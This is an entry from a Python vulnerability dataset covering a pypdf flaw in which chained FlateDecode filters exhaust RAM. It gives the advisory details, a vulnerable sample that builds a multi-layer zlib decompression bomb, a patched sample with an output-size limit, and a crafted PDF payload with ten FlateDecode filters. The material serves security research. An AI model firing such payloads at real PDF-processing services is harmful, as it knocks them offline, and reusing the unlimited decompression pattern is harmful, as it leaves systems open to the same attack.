VAITP Dataset

← Back to the dataset

CVE-2025-55197

A crafted PDF using FlateDecode filters can cause RAM exhaustion in pypdf.

  • CVSS 6.6
  • CWE-400
  • Resource Management
  • Local

pypdf is a free and open-source pure-python PDF library. Prior to version 6.0.0, an attacker can craft a PDF which leads to the RAM being exhausted. This requires just reading the file if a series of FlateDecode filters is used on a malicious cross-reference stream. Other content streams are affected on explicit access. This issue has been fixed in 6.0.0. If an update is not possible, a workaround involves including the fixed code from pypdf.filters.decompress into the existing filters file.

CVSS base score
6.6
Published
2025-08-13
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Algorithm
Code defect classification
Missing Check
Category
Resource Management
Subcategory
Resource Exhaustion
Accessibility scope
Local
Impact
Denial of Service (DoS)
Affected component
pypdf
Fixed by upgrading
Yes

Solution

Upgrade pypdf to version 6.0.0 or later.

Vulnerable code sample

import zlib
import sys

def vulnerable_decompress(data):
    """
    This function represents the vulnerable decompression logic from pypdf < 6.0.0.
    It lacks any protection against decompression bombs, which can lead to
    massive memory allocation from a small input.
    """
    try:
        # The core of the vulnerability: blindly decompressing data without
        # any limits on the output size.
        return zlib.decompress(data)
    except Exception:
        # In a real scenario, more complex error handling might exist,
        # but the fundamental flaw is the lack of size checks before decompression.
        return data

def process_stream_with_filters(stream_data, filters):
    """
    Simulates how pypdf would process a stream with a series of filters.
    If multiple '/FlateDecode' filters are present, the vulnerable function
    is called repeatedly.
    """
    processed_data = stream_data
    print(f"Initial data size: {len(processed_data)} bytes")
    print(f"Applying filters: {filters}")
    
    for i, filter_name in enumerate(filters):
        if filter_name == '/FlateDecode':
            print(f"-> Applying filter {i+1}: /FlateDecode...")
            processed_data = vulnerable_decompress(processed_data)
            # The size of processed_data can grow exponentially with each step.
            print(f"   Data size after decompression: {len(processed_data) / 1024 / 1024:.2f} MB")
        # In a real library, other filters like /ASCIIHexDecode, etc., would be handled here.
    
    return processed_data

def create_decompression_bomb(payload, layers):
    """
    Creates a multi-layered compressed payload.
    This simulates the data within a malicious PDF stream object.
    """
    data = payload
    for i in range(layers):
        data = zlib.compress(data)
    return data

if __name__ == "__main__":
    print("--- Demonstrating CVE-2025-55197 (conceptual example) ---")
    
    # 1. An attacker starts with a large, highly compressible payload (e.g., all zeros).
    #    Let's use 10 MB of zeros.
    original_payload = b'\x00' * (10 * 1024 * 1024)

    # 2. The attacker compresses this payload multiple times.
    #    This creates the "bomb". The resulting data is very small.
    #    Here we apply 4 layers of compression.
    COMPRESSION_LAYERS = 4
    malicious_stream_data = create_decompression_bomb(original_payload, COMPRESSION_LAYERS)
    
    print(f"\nCreated a {COMPRESSION_LAYERS}-layer bomb.")
    print(f"Original payload size: {len(original_payload) / 1024 / 1024:.2f} MB")
    print(f"Malicious compressed size (as in PDF): {len(malicious_stream_data)} bytes")

    # 3. The attacker crafts a PDF where a stream object uses a series of
    #    /FlateDecode filters, one for each layer of compression.
    malicious_filters = ['/FlateDecode'] * COMPRESSION_LAYERS
    
    print("\n--- Simulating vulnerable library reading the malicious stream ---")
    print("The following operation will attempt to decompress the data repeatedly.")
    print("This will likely exhaust system memory, demonstrating the DoS vulnerability.")
    print("-" * 60)
    
    try:
        # 4. The vulnerable library reads the stream and applies the filters.
        #    This call triggers the massive memory allocation.
        final_data = process_stream_with_filters(malicious_stream_data, malicious_filters)
        print("\n[UNLIKELY SUCCESS] Decompression finished without error.")
        print(f"Final data size in memory: {len(final_data) / 1024 / 1024:.2f} MB")
    except MemoryError:
        print("\n[VULNERABILITY TRIGGERED]", file=sys.stderr)
        print("A 'MemoryError' was caught. The application ran out of RAM.", file=sys.stderr)
        print("This demonstrates the Denial of Service (DoS) vulnerability.", file=sys.stderr)
        sys.exit(1)
    except Exception as e:
        print(f"\nAn unexpected error occurred: {e}", file=sys.stderr)
        sys.exit(1)

Patched code sample

import zlib
from typing import Union


def FlateDecode_fixed(data: bytes) -> bytes:
    """
    A demonstration of the fix for a decompression bomb vulnerability (like CVE-2025-55197).

    The vulnerability occurs when a compressed data stream (e.g., using FlateDecode)
    is crafted to decompress to an extremely large size, exhausting system RAM.
    This is also known as a "decompression bomb" or "zip bomb".

    The fix is to enforce a hard limit on the size of the decompressed output.
    Instead of decompressing the entire stream at once, it is processed in a way
    that allows for checking the output size against a predefined maximum limit. If
    the limit is exceeded, the operation is aborted with an error, preventing

    This function simulates the patched logic by using the `max_length` parameter
    in `zlib.decompressobj().decompress()` to prevent catastrophic memory allocation.
    The actual fix in pypdf is integrated into its filter processing logic but
    follows the same principle.
    """
    # Define a safe upper limit for the decompressed data size.
    # For example, 100MB. This prevents an attacker from causing the
    # process to allocate gigabytes of memory from a few kilobytes of input.
    MAX_DECOMPRESSED_SIZE = 100 * 1024 * 1024  # 100 MB

    try:
        # The decompress object allows for more control over the decompression process.
        decompressor = zlib.decompressobj()

        # By providing `max_length`, we instruct zlib to not return more than
        # this many bytes. We add 1 to the limit to detect if the output
        # is *exactly* the limit or larger.
        decompressed_data = decompressor.decompress(data, max_length=MAX_DECOMPRESSED_SIZE + 1)
        
        # After the initial decompression, ensure no unconsumed data would
        # push the total size over the limit.
        if decompressor.unconsumed_tail or not decompressor.eof:
             # If there is more data to decompress, it means the output would
             # have been larger than our max_length argument.
             raise ValueError(
                "Decompression error: Potential decompression bomb detected. "
                f"Output would exceed the limit of {MAX_DECOMPRESSED_SIZE} bytes."
            )

        # Check the final length of the decompressed data.
        if len(decompressed_data) > MAX_DECOMPRESSED_SIZE:
            raise ValueError(
                "Decompression error: Potential decompression bomb detected. "
                f"Output size ({len(decompressed_data)}) exceeds the limit of {MAX_DECOMPRESSED_SIZE} bytes."
            )

        return decompressed_data

    except zlib.error as e:
        # Catch errors from malformed zlib streams.
        raise ValueError(f"FlateDecode error: Invalid or corrupt zlib stream - {e}")
    except ValueError:
        # Re-raise our custom value error for the decompression bomb.
        raise

Payload

%PDF-1.7
%âãÏÓ

1 0 obj
<</Type/Catalog/Pages 2 0 R>>
endobj

2 0 obj
<</Type/Pages/Count 1/Kids[3 0 R]>>
endobj

3 0 obj
<</Type/Page/Parent 2 0 R>>
endobj

4 0 obj
<</Type/XRef/Size 5/W[1 2 2]/Filter[/FlateDecode/FlateDecode/FlateDecode/FlateDecode/FlateDecode/FlateDecode/FlateDecode/FlateDecode/FlateDecode/FlateDecode]/Length 93>>
stream
xúíÁÁqÄ üo›!	‚ßþÿéù„øÞÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ-áÏî
endstream
endobj

trailer
<</Size 5/Root 1 0 R/XRefStm 169>>
startxref
538
%%EOF

Cite this entry

@misc{vaitp:cve202555197,
  title        = {{A crafted PDF using FlateDecode filters can cause RAM exhaustion in pypdf.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-55197},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-55197/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::